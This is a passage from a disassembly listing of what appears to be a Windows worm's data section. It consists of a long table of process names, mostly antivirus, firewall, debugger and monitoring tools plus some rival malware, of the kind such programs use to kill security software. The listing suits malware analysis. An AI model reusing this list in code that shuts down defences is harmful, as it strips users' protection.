'_AVPCC.EXE',0 ; DATA XREF: .data:004320C8o align 4 dd 0 a_avp32_exe db '_AVP32.EXE',0 ; DATA XREF: .data:004320C4o align 4 dd 0 aZonealarm_exe db 'ZONEALARM.EXE',0 ; DATA XREF: .data:004320C0o align 4 aZonalm2601_exe db 'ZONALM2601.EXE',0 ; DATA XREF: .data:004320BCo align 10h aZatutor_exe db 'ZATUTOR.EXE',0 ; DATA XREF: .data:004320B8o align 10h aZapsetup3001_e db 'ZAPSETUP3001.EXE',0 ; DATA XREF: .data:004320B4o align 4 aZapro_exe db 'ZAPRO.EXE',0 ; DATA XREF: .data:004320B0o align 10h aXpf202en_exe db 'XPF202EN.EXE',0 ; DATA XREF: .data:004320ACo align 10h aWyvernworksfir db 'WYVERNWORKSFIREWALL.EXE',0 ; DATA XREF: .data:004320A8o dd 0 aWupdt_exe db 'WUPDT.EXE',0 ; DATA XREF: .data:004320A4o align 4 aWupdater_exe db 'WUPDATER.EXE',0 ; DATA XREF: .data:004320A0o align 4 aWsbgate_exe db 'WSBGATE.EXE',0 ; DATA XREF: .data:0043209Co align 8 aWrctrl_exe db 'WRCTRL.EXE',0 ; DATA XREF: .data:00432098o align 8 aWradmin_exe db 'WRADMIN.EXE',0 ; DATA XREF: .data:00432094o align 8 aWnt_exe db 'WNT.EXE',0 ; DATA XREF: .data:00432090o dd 0 aWnad_exe db 'WNAD.EXE',0 ; DATA XREF: .data:0043208Co align 10h aWkufind_exe db 'WKUFIND.EXE',0 ; DATA XREF: .data:00432088o align 10h aWinupdate_exe db 'WINUPDATE.EXE',0 ; DATA XREF: .data:00432084o align 10h aWintsk32_exe db 'WINTSK32.EXE',0 ; DATA XREF: .data:00432080o align 10h aWinstart001_ex db 'WINSTART001.EXE',0 ; DATA XREF: .data:0043207Co dd 0 aWinstart_exe db 'WINSTART.EXE',0 ; DATA XREF: .data:00432078o align 4 aWinssk32_exe db 'WINSSK32.EXE',0 ; DATA XREF: .data:00432074o align 4 aWinservn_exe db 'WINSERVN.EXE',0 ; DATA XREF: .data:00432070o align 4 aWinrecon_exe db 'WINRECON.EXE',0 ; DATA XREF: .data:0043206Co align 4 aWinppr32_exe db 'WINPPR32.EXE',0 ; DATA XREF: .data:00432068o align 4 aWinnet_exe db 'WINNET.EXE',0 ; DATA XREF: .data:00432064o align 10h dd 0 aWinmain_exe db 'WINMAIN.EXE',0 ; DATA XREF: .data:00432060o dd 0 aWinlogin_exe db 'WINLOGIN.EXE',0 ; DATA XREF: .data:0043205Co align 4 aWininitx_exe db 'WININITX.EXE',0 ; DATA XREF: .data:00432058o align 4 aWininit_exe db 'WININIT.EXE',0 ; DATA XREF: .data:00432054o dd 0 aWininetd_exe db 'WININETD.EXE',0 ; DATA XREF: .data:00432050o align 4 aWindows_exe db 'WINDOWS.EXE',0 ; DATA XREF: .data:0043204Co dd 0 aWindow_exe db 'WINDOW.EXE',0 ; DATA XREF: .data:00432048o align 10h dd 0 aWinactive_exe db 'WINACTIVE.EXE',0 ; DATA XREF: .data:00432044o align 4 aWin32us_exe db 'WIN32US.EXE',0 ; DATA XREF: .data:00432040o dd 0 aWin32_exe db 'WIN32.EXE',0 ; DATA XREF: .data:0043203Co align 10h aWinBugsfix_exe db 'WIN-BUGSFIX.EXE',0 ; DATA XREF: .data:00432038o dd 0 aWimmun32_exe db 'WIMMUN32.EXE',0 ; DATA XREF: .data:00432034o align 4 aWhoswatchingme db 'WHOSWATCHINGME.EXE',0 ; DATA XREF: .data:00432030o align 4 dd 0 aWgfe95_exe db 'WGFE95.EXE',0 ; DATA XREF: .data:0043202Co align 4 dd 0 aWfindv32_exe db 'WFINDV32.EXE',0 ; DATA XREF: .data:00432028o align 4 aWebtrap_exe db 'WEBTRAP.EXE',0 ; DATA XREF: .data:00432024o dd 0 aWebscanx_exe db 'WEBSCANX.EXE',0 ; DATA XREF: .data:00432020o align 4 aWebdav_exe db 'WEBDAV.EXE',0 ; DATA XREF: .data:0043201Co align 4 dd 0 aWatchdog_exe db 'WATCHDOG.EXE',0 ; DATA XREF: .data:00432018o align 4 aW9x_exe db 'W9X.EXE',0 ; DATA XREF: .data:00432014o align 8 aW32dsm89_exe db 'W32DSM89.EXE',0 ; DATA XREF: .data:00432010o align 4 aVswinperse_exe db 'VSWINPERSE.EXE',0 ; DATA XREF: .data:0043200Co align 4 dd 0 aVswinntse_exe db 'VSWINNTSE.EXE',0 ; DATA XREF: .data:00432008o align 4 aVswin9xe_exe db 'VSWIN9XE.EXE',0 ; DATA XREF: .data:00432004o align 4 aVsstat_exe db 'VSSTAT.EXE',0 ; DATA XREF: .data:00432000o align 4 dd 0 aVsmon_exe db 'VSMON.EXE',0 ; DATA XREF: .data:00431FFCo align 4 aVsmain_exe db 'VSMAIN.EXE',0 ; DATA XREF: .data:00431FF8o align 8 aVsisetup_exe db 'VSISETUP.EXE',0 ; DATA XREF: .data:00431FF4o align 4 aVshwin32_exe db 'VSHWIN32.EXE',0 ; DATA XREF: .data:00431FF0o align 4 aVsecomr_exe db 'VSECOMR.EXE',0 ; DATA XREF: .data:00431FECo align 8 aVsched_exe db 'VSCHED.EXE',0 ; DATA XREF: .data:00431FE8o align 8 aVscenu6_02d30_ db 'VSCENU6.02D30.EXE',0 ; DATA XREF: .data:00431FE4o align 10h aVscan40_exe db 'VSCAN40.EXE',0 ; DATA XREF: .data:00431FE0o align 10h aVptray_exe db 'VPTRAY.EXE',0 ; DATA XREF: .data:00431FDCo align 10h aVpfw30s_exe db 'VPFW30S.EXE',0 ; DATA XREF: .data:00431FD8o align 10h aVpc42_exe db 'VPC42.EXE',0 ; DATA XREF: .data:00431FD4o align 4 aVpc32_exe db 'VPC32.EXE',0 ; DATA XREF: .data:00431FD0o align 4 aVnpc3000_exe db 'VNPC3000.EXE',0 ; DATA XREF: .data:00431FCCo align 4 aVnlan300_exe db 'VNLAN300.EXE',0 ; DATA XREF: .data:00431FC8o align 4 aVirusmdpersona db 'VIRUSMDPERSONALFIREWALL.EXE',0 ; DATA XREF: .data:00431FC4o dd 2 dup(0) aVirHelp_exe db 'VIR-HELP.EXE',0 ; DATA XREF: .data:00431FC0o align 4 aVfsetup_exe db 'VFSETUP.EXE',0 ; DATA XREF: .data:00431FBCo dd 0 aVettray_exe db 'VETTRAY.EXE',0 ; DATA XREF: .data:00431FB8o dd 0 aVet95_exe db 'VET95.EXE',0 ; DATA XREF: .data:00431FB4o align 4 aVet32_exe db 'VET32.EXE',0 ; DATA XREF: .data:00431FB0o align 4 aVcsetup_exe db 'VCSETUP.EXE',0 ; DATA XREF: .data:00431FACo dd 0 aVbwinntw_exe db 'VBWINNTW.EXE',0 ; DATA XREF: .data:00431FA8o align 4 aVbwin9x_exe db 'VBWIN9X.EXE',0 ; DATA XREF: .data:00431FA4o dd 0 aVbust_exe db 'VBUST.EXE',0 ; DATA XREF: .data:00431FA0o align 10h aVbcons_exe db 'VBCONS.EXE',0 ; DATA XREF: .data:00431F9Co align 10h aVbcmserv_exe db 'VBCMSERV.EXE',0 ; DATA XREF: .data:00431F98o align 10h aUtpost_exe db 'UTPOST.EXE',0 ; DATA XREF: .data:00431F94o align 10h aUpgrad_exe db 'UPGRAD.EXE',0 ; DATA XREF: .data:00431F90o align 10h aUpdate_exe db 'UPDATE.EXE',0 ; DATA XREF: .data:00431F88o ; .data:00431F8Co align 10h aUpdat_exe db 'UPDAT.EXE',0 ; DATA XREF: .data:00431F84o align 4 aUndoboot_exe db 'UNDOBOOT.EXE',0 ; DATA XREF: .data:00431F80o align 4 aTvtmd_exe db 'TVTMD.EXE',0 ; DATA XREF: .data:00431F7Co align 4 aTvmd_exe db 'TVMD.EXE',0 ; DATA XREF: .data:00431F78o align 4 aTsadbot_exe db 'TSADBOT.EXE',0 ; DATA XREF: .data:00431F74o dd 0 aTrojantrap3_ex db 'TROJANTRAP3.EXE',0 ; DATA XREF: .data:00431F70o align 8 aTrjsetup_exe db 'TRJSETUP.EXE',0 ; DATA XREF: .data:00431F6Co align 4 aTrjscan_exe db 'TRJSCAN.EXE',0 ; DATA XREF: .data:00431F68o align 8 aTrickler_exe db 'TRICKLER.EXE',0 ; DATA XREF: .data:00431F64o align 4 aTracert_exe db 'TRACERT.EXE',0 ; DATA XREF: .data:00431F60o align 8 aTitaninxp_exe db 'TITANINXP.EXE',0 ; DATA XREF: .data:00431F5Co align 4 aTitanin_exe db 'TITANIN.EXE',0 ; DATA XREF: .data:00431F58o align 8 aTgbob_exe db 'TGBOB.EXE',0 ; DATA XREF: .data:00431F54o align 4 aTfak5_exe db 'TFAK5.EXE',0 ; DATA XREF: .data:00431F50o align 10h aTfak_exe db 'TFAK.EXE',0 ; DATA XREF: .data:00431F4Co align 4 aTeekids_exe db 'TEEKIDS.EXE',0 ; DATA XREF: .data:00431F48o dd 0 aTds2Nt_exe db 'TDS2-NT.EXE',0 ; DATA XREF: .data:00431F44o dd 0 aTds298_exe db 'TDS2-98.EXE',0 ; DATA XREF: .data:00431F40o dd 0 aTds3_exe db 'TDS-3.EXE',0 ; DATA XREF: .data:00431F3Co align 4 aTcm_exe db 'TCM.EXE',0 ; DATA XREF: .data:00431F38o dd 0 aTca_exe db 'TCA.EXE',0 ; DATA XREF: .data:00431F34o align 10h aTc_exe db 'TC.EXE',0 ; DATA XREF: .data:00431F30o align 4 aTbscan_exe db 'TBSCAN.EXE',0 ; DATA XREF: .data:00431F2Co align 8 aTaumon_exe db 'TAUMON.EXE',0 ; DATA XREF: .data:00431F28o align 8 aTaskmon_exe db 'TASKMON.EXE',0 ; DATA XREF: .data:00431F24o align 8 aTaskmo_exe db 'TASKMO.EXE',0 ; DATA XREF: .data:00431F20o align 8 aTaskmg_exe db 'TASKMG.EXE',0 ; DATA XREF: .data:00431F1Co align 8 aSysupd_exe db 'SYSUPD.EXE',0 ; DATA XREF: .data:00431F18o align 8 aSystem32_exe db 'SYSTEM32.EXE',0 ; DATA XREF: .data:00431F14o align 4 aSystem_exe db 'SYSTEM.EXE',0 ; DATA XREF: .data:00431F10o align 8 aSysedit_exe db 'SYSEDIT.EXE',0 ; DATA XREF: .data:00431F0Co align 8 aSymtray_exe db 'SYMTRAY.EXE',0 ; DATA XREF: .data:00431F08o align 8 aSymproxysvc_ex db 'SYMPROXYSVC.EXE',0 ; DATA XREF: .data:00431F04o dd 0 aSweepnet_sweep db 'SWEEPNET.SWEEPSRV.SYS.SWNETSUP.EXE',0 ; DATA XREF: .data:00431F00o align 10h dd 2 dup(0) aSweep95_exe db 'SWEEP95.EXE',0 ; DATA XREF: .data:00431EFCo align 8 aSvshost_exe db 'SVSHOST.EXE',0 ; DATA XREF: .data:00431EF8o align 8 aSvchosts_exe db 'SVCHOSTS.EXE',0 ; DATA XREF: .data:00431EF4o align 4 aSvchostc_exe db 'SVCHOSTC.EXE',0 ; DATA XREF: .data:00431EF0o align 4 aSvc_exe db 'SVC.EXE',0 ; DATA XREF: .data:00431EECo dd 0 aSupporter5_exe db 'SUPPORTER5.EXE',0 ; DATA XREF: .data:00431EE8o align 8 aSupport_exe db 'SUPPORT.EXE',0 ; DATA XREF: .data:00431EE4o align 8 aSupftrl_exe db 'SUPFTRL.EXE',0 ; DATA XREF: .data:00431EE0o align 8 aStcloader_exe db 'STCLOADER.EXE',0 ; DATA XREF: .data:00431EDCo align 4 aStart_exe db 'START.EXE',0 ; DATA XREF: .data:00431ED8o align 4 aSt2_exe db 'ST2.EXE',0 ; DATA XREF: .data:00431ED4o align 10h aSsg_4104_exe db 'SSG_4104.EXE',0 ; DATA XREF: .data:00431ED0o align 10h aSsgrate_exe db 'SSGRATE.EXE',0 ; DATA XREF: .data:00431ECCo align 10h aSs3edit_exe db 'SS3EDIT.EXE',0 ; DATA XREF: .data:00431EC8o align 10h aSrng_exe db 'SRNG.EXE',0 ; DATA XREF: .data:00431EC4o align 4 aSrexe_exe db 'SREXE.EXE',0 ; DATA XREF: .data:00431EC0o align 4 aSpyxx_exe db 'SPYXX.EXE',0 ; DATA XREF: .data:00431EBCo align 4 aSpoolsv32_exe db 'SPOOLSV32.EXE',0 ; DATA XREF: .data:00431EB8o align 4 aSpoolcv_exe db 'SPOOLCV.EXE',0 ; DATA XREF: .data:00431EB4o dd 0 aSpoler_exe db 'SPOLER.EXE',0 ; DATA XREF: .data:00431EB0o align 10h dd 0 aSphinx_exe db 'SPHINX.EXE',0 ; DATA XREF: .data:00431EACo align 10h dd 0 aSpf_exe db 'SPF.EXE',0 ; DATA XREF: .data:00431EA8o align 10h aSperm_exe db 'SPERM.EXE',0 ; DATA XREF: .data:00431EA4o align 4 aSofi_exe db 'SOFI.EXE',0 ; DATA XREF: .data:00431EA0o align 4 aSoap_exe db 'SOAP.EXE',0 ; DATA XREF: .data:00431E9Co align 4 aSmss32_exe db 'SMSS32.EXE',0 ; DATA XREF: .data:00431E98o align 10h dd 0 aSms_exe db 'SMS.EXE',0 ; DATA XREF: .data:00431E94o align 10h aSmc_exe db 'SMC.EXE',0 ; DATA XREF: .data:00431E90o dd 0 aShowbehind_exe db 'SHOWBEHIND.EXE',0 ; DATA XREF: .data:00431E8Co align 10h aShn_exe db 'SHN.EXE',0 ; DATA XREF: .data:00431E88o dd 0 aShellspyinstal db 'SHELLSPYINSTALL.EXE',0 ; DATA XREF: .data:00431E84o dd 0 aSh_exe db 'SH.EXE',0 ; DATA XREF: .data:00431E80o align 4 aSgssfw32_exe db 'SGSSFW32.EXE',0 ; DATA XREF: .data:00431E7Co align 4 aSfc_exe db 'SFC.EXE',0 ; DATA XREF: .data:00431E78o align 8 aSetup_flowprot db 'SETUP_FLOWPROTECTOR_US.EXE',0 ; DATA XREF: .data:00431E74o align 8 aSetupvameeval_ db 'SETUPVAMEEVAL.EXE',0 ; DATA XREF: .data:00431E70o align 10h aServlces_exe db 'SERVLCES.EXE',0 ; DATA XREF: .data:00431E6Co align 10h aServlce_exe db 'SERVLCE.EXE',0 ; DATA XREF: .data:00431E68o align 10h aService_exe db 'SERVICE.EXE',0 ; DATA XREF: .data:00431E64o align 10h aServ95_exe db 'SERV95.EXE',0 ; DATA XREF: .data:00431E60o align 10h aSd_exe db 'SD.EXE',0 ; DATA XREF: .data:00431E5Co align 4 aScvhost_exe db 'SCVHOST.EXE',0 ; DATA XREF: .data:00431E58o align 8 aScrsvr_exe db 'SCRSVR.EXE',0 ; DATA XREF: .data:00431E54o align 8 aScrscan_exe db 'SCRSCAN.EXE',0 ; DATA XREF: .data:00431E50o align 8 aScanpm_exe db 'SCANPM.EXE',0 ; DATA XREF: .data:00431E4Co align 8 aScan95_exe db 'SCAN95.EXE',0 ; DATA XREF: .data:00431E48o align 8 aScan32_exe db 'SCAN32.EXE',0 ; DATA XREF: .data:00431E44o align 8 aScam32_exe db 'SCAM32.EXE',0 ; DATA XREF: .data:00431E40o align 8 aSc_exe db 'SC.EXE',0 ; DATA XREF: .data:00431E3Co align 10h aSbserv_exe db 'SBSERV.EXE',0 ; DATA XREF: .data:00431E38o align 10h aSavenow_exe db 'SAVENOW.EXE',0 ; DATA XREF: .data:00431E34o align 10h aSave_exe db 'SAVE.EXE',0 ; DATA XREF: .data:00431E30o align 4 aSahagent_exe db 'SAHAGENT.EXE',0 ; DATA XREF: .data:00431E2Co align 4 aSafeweb_exe db 'SAFEWEB.EXE',0 ; DATA XREF: .data:00431E28o dd 0 aRuxdll32_exe db 'RUXDLL32.EXE',0 ; DATA XREF: .data:00431E24o align 4 aRundll16_exe db 'RUNDLL16.EXE',0 ; DATA XREF: .data:00431E20o align 4 aRundll_exe db 'RUNDLL.EXE',0 ; DATA XREF: .data:00431E1Co align 4 dd 0 aRun32dll_exe db 'RUN32DLL.EXE',0 ; DATA XREF: .data:00431E18o align 4 aRulaunch_exe db 'RULAUNCH.EXE',0 ; DATA XREF: .data:00431E14o align 4 aRtvscn95_exe db 'RTVSCN95.EXE',0 ; DATA XREF: .data:00431E10o align 4 aRtvscan_exe db 'RTVSCAN.EXE',0 ; DATA XREF: .data:00431E0Co dd 0 aRshell_exe db 'RSHELL.EXE',0 ; DATA XREF: .data:00431E08o align 4 dd 0 aRrguard_exe db 'RRGUARD.EXE',0 ; DATA XREF: .data:00431E04o dd 0 aRescue32_exe db 'RESCUE32.EXE',0 ; DATA XREF: .data:00431E00o align 4 aRescue_exe db 'RESCUE.EXE',0 ; DATA XREF: .data:00431DFCo align 4 dd 0 aRegedt32_exe db 'REGEDT32.EXE',0 ; DATA XREF: .data:00431DF8o align 4 aRegedit_exe db 'REGEDIT.EXE',0 ; DATA XREF: .data:00431DF4o dd 0 aReged_exe db 'REGED.EXE',0 ; DATA XREF: .data:00431DF0o align 4 aRealmon_exe db 'REALMON.EXE',0 ; DATA XREF: .data:00431DECo align 8 aRcsync_exe db 'RCSYNC.EXE',0 ; DATA XREF: .data:00431DE8o align 8 aRb32_exe db 'RB32.EXE',0 ; DATA XREF: .data:00431DE4o align 4 aRay_exe db 'RAY.EXE',0 ; DATA XREF: .data:00431DE0o align 10h aRav8win32eng_e db 'RAV8WIN32ENG.EXE',0 ; DATA XREF: .data:00431DDCo align 4 aRav7win_exe db 'RAV7WIN.EXE',0 ; DATA XREF: .data:00431DD8o dd 0 aRav7_exe db 'RAV7.EXE',0 ; DATA XREF: .data:00431DD4o align 10h aRapapp_exe db 'RAPAPP.EXE',0 ; DATA XREF: .data:00431DD0o align 10h aQserver_exe db 'QSERVER.EXE',0 ; DATA XREF: .data:00431DCCo align 10h aQconsole_exe db 'QCONSOLE.EXE',0 ; DATA XREF: .data:00431DC8o align 10h aPview95_exe db 'PVIEW95.EXE',0 ; DATA XREF: .data:00431DC4o align 10h aPussy_exe db 'PUSSY.EXE',0 ; DATA XREF: .data:00431DC0o align 4 aPurge_exe db 'PURGE.EXE',0 ; DATA XREF: .data:00431DBCo align 4 aPspf_exe db 'PSPF.EXE',0 ; DATA XREF: .data:00431DB8o align 4 aProtectx_exe db 'PROTECTX.EXE',0 ; DATA XREF: .data:00431DB4o align 4 aProport_exe db 'PROPORT.EXE',0 ; DATA XREF: .data:00431DB0o dd 0 aProgramauditor db 'PROGRAMAUDITOR.EXE',0 ; DATA XREF: .data:00431DACo align 4 dd 0 aProcexplorerv1 db 'PROCEXPLORERV1.0.EXE',0 ; DATA XREF: .data:00431DA8o align 8 aProcessmonitor db 'PROCESSMONITOR.EXE',0 ; DATA XREF: .data:00431DA4o align 10h aProcdump_exe db 'PROCDUMP.EXE',0 ; DATA XREF: .data:00431DA0o align 10h aPrmvr_exe db 'PRMVR.EXE',0 ; DATA XREF: .data:00431D9Co align 4 aPrmt_exe db 'PRMT.EXE',0 ; DATA XREF: .data:00431D98o align 4 aPrizesurfer_ex db 'PRIZESURFER.EXE',0 ; DATA XREF: .data:00431D94o dd 0 aPpvstop_exe db 'PPVSTOP.EXE',0 ; DATA XREF: .data:00431D90o dd 0 aPptbc_exe db 'PPTBC.EXE',0 ; DATA XREF: .data:00431D8Co align 4 aPpinupdt_exe db 'PPINUPDT.EXE',0 ; DATA XREF: .data:00431D88o align 4 aPowerscan_exe db 'POWERSCAN.EXE',0 ; DATA XREF: .data:00431D84o align 4 aPortmonitor_ex db 'PORTMONITOR.EXE',0 ; DATA XREF: .data:00431D80o dd 0 aPortdetective_ db 'PORTDETECTIVE.EXE',0 ; DATA XREF: .data:00431D7Co align 10h dd 0 aPopscan_exe db 'POPSCAN.EXE',0 ; DATA XREF: .data:00431D78o dd 0 aPoproxy_exe db 'POPROXY.EXE',0 ; DATA XREF: .data:00431D74o dd 0 aPop3trap_exe db 'POP3TRAP.EXE',0 ; DATA XREF: .data:00431D70o align 4 aPlatin_exe db 'PLATIN.EXE',0 ; DATA XREF: .data:00431D6Co align 10h dd 0 aPingscan_exe db 'PINGSCAN.EXE',0 ; DATA XREF: .data:00431D68o align 4 aPgmonitr_exe db 'PGMONITR.EXE',0 ; DATA XREF: .data:00431D64o align 4 aPfwadmin_exe db 'PFWADMIN.EXE',0 ; DATA XREF: .data:00431D60o align 4 aPf2_exe db 'PF2.EXE',0 ; DATA XREF: .data:00431D5Co align 10h aPerswf_exe db 'PERSWF.EXE',0 ; DATA XREF: .data:00431D58o align 10h aPersfw_exe db 'PERSFW.EXE',0 ; DATA XREF: .data:00431D54o align 10h aPeriscope_exe db 'PERISCOPE.EXE',0 ; DATA XREF: .data:00431D50o align 10h aPenis_exe db 'PENIS.EXE',0 ; DATA XREF: .data:00431D4Co align 4 aPdsetup_exe db 'PDSETUP.EXE',0 ; DATA XREF: .data:00431D48o dd 0 aPcscan_exe db 'PCSCAN.EXE',0 ; DATA XREF: .data:00431D44o align 4 dd 0 aPcip10117_0_ex db 'PCIP10117_0.EXE',0 ; DATA XREF: .data:00431D40o align 10h aPcfwallicon_ex db 'PCFWALLICON.EXE',0 ; DATA XREF: .data:00431D3Co dd 0 aPcdsetup_exe db 'PCDSETUP.EXE',0 ; DATA XREF: .data:00431D38o align 4 aPccwin98_exe db 'PCCWIN98.EXE',0 ; DATA XREF: .data:00431D34o align 4 aPccwin97_exe db 'PCCWIN97.EXE',0 ; DATA XREF: .data:00431D30o align 4 aPccntmon_exe db 'PCCNTMON.EXE',0 ; DATA XREF: .data:00431D2Co align 4 aPcciomon_exe db 'PCCIOMON.EXE',0 ; DATA XREF: .data:00431D28o align 4 aPcc2k_76_1436_ db 'PCC2K_76_1436.EXE',0 ; DATA XREF: .data:00431D24o align 4 dd 0 aPcc2002s902_ex db 'PCC2002S902.EXE',0 ; DATA XREF: .data:00431D20o align 10h aPavw_exe db 'PAVW.EXE',0 ; DATA XREF: .data:00431D1Co align 4 aPavsched_exe db 'PAVSCHED.EXE',0 ; DATA XREF: .data:00431D18o align 4 aPavproxy_exe db 'PAVPROXY.EXE',0 ; DATA XREF: .data:00431D14o align 4 aPavcl_exe db 'PAVCL.EXE',0 ; DATA XREF: .data:00431D10o align 4 aPatch_exe db 'PATCH.EXE',0 ; DATA XREF: .data:00431D0Co align 4 aPanixk_exe db 'PANIXK.EXE',0 ; DATA XREF: .data:00431D08o align 10h dd 0 aPadmin_exe db 'PADMIN.EXE',0 ; DATA XREF: .data:00431D04o align 10h dd 0 aOutpostproinst db 'OUTPOSTPROINSTALL.EXE',0 ; DATA XREF: .data:00431D00o align 10h aOutpostinstall db 'OUTPOSTINSTALL.EXE',0 ; DATA XREF: .data:00431CFCo align 8 aOutpost_exe db 'OUTPOST.EXE',0 ; DATA XREF: .data:00431CF4o ; .data:00431CF8o align 8 aOtfix_exe db 'OTFIX.EXE',0 ; DATA XREF: .data:00431CF0o align 4 aOstronet_exe db 'OSTRONET.EXE',0 ; DATA XREF: .data:00431CECo align 4 aOptimize_exe db 'OPTIMIZE.EXE',0 ; DATA XREF: .data:00431CE8o align 4 aOnsrvr_exe db 'ONSRVR.EXE',0 ; DATA XREF: .data:00431CE4o align 10h dd 0 aOllydbg_exe db 'OLLYDBG.EXE',0 ; DATA XREF: .data:00431CE0o dd 0 aNwtool16_exe db 'NWTOOL16.EXE',0 ; DATA XREF: .data:00431CDCo align 4 aNwservice_exe db 'NWSERVICE.EXE',0 ; DATA XREF: .data:00431CD8o align 4 aNwinst4_exe db 'NWINST4.EXE',0 ; DATA XREF: .data:00431CD4o dd 0 aNvsvc32_exe db 'NVSVC32.EXE',0 ; DATA XREF: .data:00431CD0o dd 0 aNvc95_exe db 'NVC95.EXE',0 ; DATA XREF: .data:00431CCCo align 10h aNvarch16_exe db 'NVARCH16.EXE',0 ; DATA XREF: .data:00431CC8o align 10h aNupgrade_exe db 'NUPGRADE.EXE',0 ; DATA XREF: .data:00431CC0o ; .data:00431CC4o align 10h aNui_exe db 'NUI.EXE',0 ; DATA XREF: .data:00431CBCo dd 0 aNtxconfig_exe db 'NTXconfig.EXE',0 ; DATA XREF: .data:00431CB8o align 4 aNtvdm_exe db 'NTVDM.EXE',0 ; DATA XREF: .data:00431CB4o align 4 aNtrtscan_exe db 'NTRTSCAN.EXE',0 ; DATA XREF: .data:00431CB0o align 4 aNt_exe db 'NT.EXE',0 ; DATA XREF: .data:00431CACo align 10h aNsupdate_exe db 'NSUPDATE.EXE',0 ; DATA XREF: .data:00431CA8o align 10h aNstask32_exe db 'NSTASK32.EXE',0 ; DATA XREF: .data:00431CA4o align 10h aNssys32_exe db 'NSSYS32.EXE',0 ; DATA XREF: .data:00431CA0o align 10h aNsched32_exe db 'NSCHED32.EXE',0 ; DATA XREF: .data:00431C9Co align 10h aNpssvc_exe db 'NPSSVC.EXE',0 ; DATA XREF: .data:00431C98o align 10h aNpscheck_exe db 'NPSCHECK.EXE',0 ; DATA XREF: .data:00431C94o align 10h aNprotect_exe db 'NPROTECT.EXE',0 ; DATA XREF: .data:00431C90o align 10h aNpfmessenger_e db 'NPFMESSENGER.EXE',0 ; DATA XREF: .data:00431C8Co align 4 aNpf40_tw_98_nt db 'NPF40_TW_98_NT_ME_2K.EXE',0 ; DATA XREF: .data:00431C88o align 10h dd 0 aNotstart_exe db 'NOTSTART.EXE',0 ; DATA XREF: .data:00431C84o align 4 aNorton_interne db 'NORTON_INTERNET_SECU_3.0_407.EXE',0 ; DATA XREF: .data:00431C80o align 4 dd 0 aNormist_exe db 'NORMIST.EXE',0 ; DATA XREF: .data:00431C7Co dd 0 aNod32_exe db 'NOD32.EXE',0 ; DATA XREF: .data:00431C78o align 4 aNmain_exe db 'NMAIN.EXE',0 ; DATA XREF: .data:00431C74o align 4 aNisum_exe db 'NISUM.EXE',0 ; DATA XREF: .data:00431C70o align 10h aNisserv_exe db 'NISSERV.EXE',0 ; DATA XREF: .data:00431C6Co align 10h aNetutils_exe db 'NETUTILS.EXE',0 ; DATA XREF: .data:00431C68o align 10h aNetstat_exe db 'NETSTAT.EXE',0 ; DATA XREF: .data:00431C64o align 10h aNetspyhunter1_ db 'NETSPYHUNTER-1.2.EXE',0 ; DATA XREF: .data:00431C60o align 4 dd 0 aNetscanpro_exe db 'NETSCANPRO.EXE',0 ; DATA XREF: .data:00431C5Co align 10h aNetmon_exe db 'NETMON.EXE',0 ; DATA XREF: .data:00431C58o align 10h aNetinfo_exe db 'NETINFO.EXE',0 ; DATA XREF: .data:00431C54o align 10h aNetd32_exe db 'NETD32.EXE',0 ; DATA XREF: .data:00431C50o align 10h aNetarmor_exe db 'NETARMOR.EXE',0 ; DATA XREF: .data:00431C4Co align 10h aNeowatchlog_ex db 'NEOWATCHLOG.EXE',0 ; DATA XREF: .data:00431C48o dd 0 aNeomonitor_exe db 'NEOMONITOR.EXE',0 ; DATA XREF: .data:00431C44o align 8 aNdd32_exe db 'NDD32.EXE',0 ; DATA XREF: .data:00431C40o align 4 aNcinst4_exe db 'NCINST4.EXE',0 ; DATA XREF: .data:00431C3Co dd 0 aNc2000_exe db 'NC2000.EXE',0 ; DATA XREF: .data:00431C38o align 10h dd 0 aNavwnt_exe db 'NAVWNT.EXE',0 ; DATA XREF: .data:00431C34o align 10h dd 0 aNavw32_exe db 'NAVW32.EXE',0 ; DATA XREF: .data:00431C30o align 10h dd 0 aNavstub_exe db 'NAVSTUB.EXE',0 ; DATA XREF: .data:00431C2Co dd 0 aNavnt_exe db 'NAVNT.EXE',0 ; DATA XREF: .data:00431C28o align 10h aNavlu32_exe db 'NAVLU32.EXE',0 ; DATA XREF: .data:00431C24o align 10h aNavengnavex15_ db 'NAVENGNAVEX15.NAVLU32.EXE',0 ; DATA XREF: .data:00431C20o align 10h aNavdx_exe db 'NAVDX.EXE',0 ; DATA XREF: .data:00431C1Co align 4 aNavapw32_exe db 'NAVAPW32.EXE',0 ; DATA XREF: .data:00431C18o align 4 aNavapsvc_exe db 'NAVAPSVC.EXE',0 ; DATA XREF: .data:00431C14o align 4 aNavap_navapsvc db 'NAVAP.NAVAPSVC.EXE',0 ; DATA XREF: .data:00431C10o align 10h dd 0 aAutoProtect_na db 'AUTO-PROTECT.NAV80TRY.EXE',0 ; DATA XREF: .data:00431C0Co align 10h dd 0 aNav_exe db 'NAV.EXE',0 ; DATA XREF: .data:00431C08o align 10h aN32scanw_exe db 'N32SCANW.EXE',0 ; DATA XREF: .data:00431C04o align 10h aMwatch_exe db 'MWATCH.EXE',0 ; DATA XREF: .data:00431C00o align 10h aMu0311ad_exe db 'MU0311AD.EXE',0 ; DATA XREF: .data:00431BFCo align 10h aMsvxd_exe db 'MSVXD.EXE',0 ; DATA XREF: .data:00431BF8o align 4 aMssys_exe db 'MSSYS.EXE',0 ; DATA XREF: .data:00431BF4o align 4 aMssmmc32_exe db 'MSSMMC32.EXE',0 ; DATA XREF: .data:00431BF0o align 4 aMsmsgri32_exe db 'MSMSGRI32.EXE',0 ; DATA XREF: .data:00431BECo align 4 aMsmgt_exe db 'MSMGT.EXE',0 ; DATA XREF: .data:00431BE8o align 4 aMslaugh_exe db 'MSLAUGH.EXE',0 ; DATA XREF: .data:00431BE4o dd 0 aMsinfo32_exe db 'MSINFO32.EXE',0 ; DATA XREF: .data:00431BE0o align 4 aMsiexec16_exe db 'MSIEXEC16.EXE',0 ; DATA XREF: .data:00431BDCo align 4 aMsdos_exe db 'MSDOS.EXE',0 ; DATA XREF: .data:00431BD8o align 10h aMsdm_exe db 'MSDM.EXE',0 ; DATA XREF: .data:00431BD4o align 4 aMsconfig_exe db 'MSCONFIG.EXE',0 ; DATA XREF: .data:00431BD0o align 4 aMscman_exe db 'MSCMAN.EXE',0 ; DATA XREF: .data:00431BCCo align 4 dd 0 aMsccn32_exe db 'MSCCN32.EXE',0 ; DATA XREF: .data:00431BC8o dd 0 aMscache_exe db 'MSCACHE.EXE',0 ; DATA XREF: .data:00431BC4o dd 0 aMsblast_exe db 'MSBLAST.EXE',0 ; DATA XREF: .data:00431BC0o dd 0 aMsbb_exe db 'MSBB.EXE',0 